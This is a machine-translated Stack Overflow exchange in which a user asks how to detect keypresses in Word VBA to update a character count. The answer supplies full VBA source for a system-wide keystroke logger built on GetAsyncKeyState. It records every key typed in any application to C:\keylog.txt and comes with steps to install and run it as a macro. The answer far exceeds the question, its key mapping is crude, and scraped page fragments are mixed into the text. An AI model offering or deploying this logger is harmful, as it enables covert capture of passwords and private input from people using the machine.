检测何时将数据添加到文档中,例如.一个角色或白色空间

Dan*_*Dan 6 vba ms-word word-vba

有没有办法检测用户何时使用VBA在Microsoft Word中按键.我已经搜索过这样做的方法.我还搜索了一些方法,这些方法可以解决这个问题,例如检测插入点何时移动,或者检测到新单词放在word文档中的时间,但我一直没看.我目前正在使用,appWord_WindowSelectionChange(ByVal Sel As Selection)但在您键入时无法检测到.

我很感激有人向我展示如何检测按键,或者能够向我展示一个可以实现相同目标的解决方法.

编辑

如果上面我想要的内容摘要不清楚,我道歉.我所拥有的是一个使用它的子appWord_WindowSelectionChange(ByVal Sel As Selection).然而,我想要的是,只要在word文档中输入任何数据,就会触发此子目录,例如.一个字母或一个空白字符.例如,如果单词文档的页脚中存在字符计数,并且我已更新此字符计数,则字符计数字段应在用户键入文档时更新.

Sha*_*ers 3

不是我的代码,而是 HTH。

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

        Sub KeyStrokeLogger()
            Dim i As Integer
            Dim KeyAsciiValue As Integer

            StartLogging
            Do While True
                For i = 1 To 255
                    If GetAsyncKeyState(i) = -32767 Then
                        If CapsLockIsOn() Then
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  End If
                        Else
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  End If
                        End If
                        LogKeyStroke KeyAsciiValue
                    End If
                Next i
                DoEvents
            Loop
        End Sub

        Private Function CapsLockIsOn() As Boolean
            CapsLockIsOn = CBool(GetKeyState(20))
        End Function

        Private Function ShiftIsPressed() As Boolean
            ShiftIsPressed = CBool(GetAsyncKeyState(16))
        End Function

        Private Sub StartLogging()
            Open "C:\keylog.txt" For Binary As #1
            Seek #1, LOF(1) + 1
        End Sub

        Private Sub LogKeyStroke(KeyAsciiValue As Integer)
            Dim c As String * 1
            c = Chr(KeyAsciiValue)
            Select Case KeyAsciiValue
                Case 8
                    Put #1, , "{BACKSPACE}"
                Case 9
                    Put #1, , "{TAB}"
                Case 13
                    Put #1, , "{ENTER}"
                Case 32 To 126
                    Put #1, , c
                Case Else
                    Put #1, , "{" & KeyAsciiValue & "}"
            End Select
        End Sub
Run Code Online (Sandbox Code Playgroud)

*》上面代码的使用方法:

步骤 1 在 MS-Word 中创建一个新文档。

步骤 2 转到“工具”、“宏”、“Visual Basic 编辑器”

步骤 3 双击项目窗口中 Project(Document1) 下的 ThisDocument 对象。

步骤 4 复制上述代码并将其粘贴到 Visual Basic 编辑器中。

步骤 5 关闭 Visual Basic 编辑器并保存文档。

步骤 6 确保宏已启用。要随时开始记录击键,请单击“工具”、“宏”、“宏”。选择 KeyStrokeLogger 并单击运行。所有击键都将存储在 C:\keylog.txt 中。"* 链接返回帖子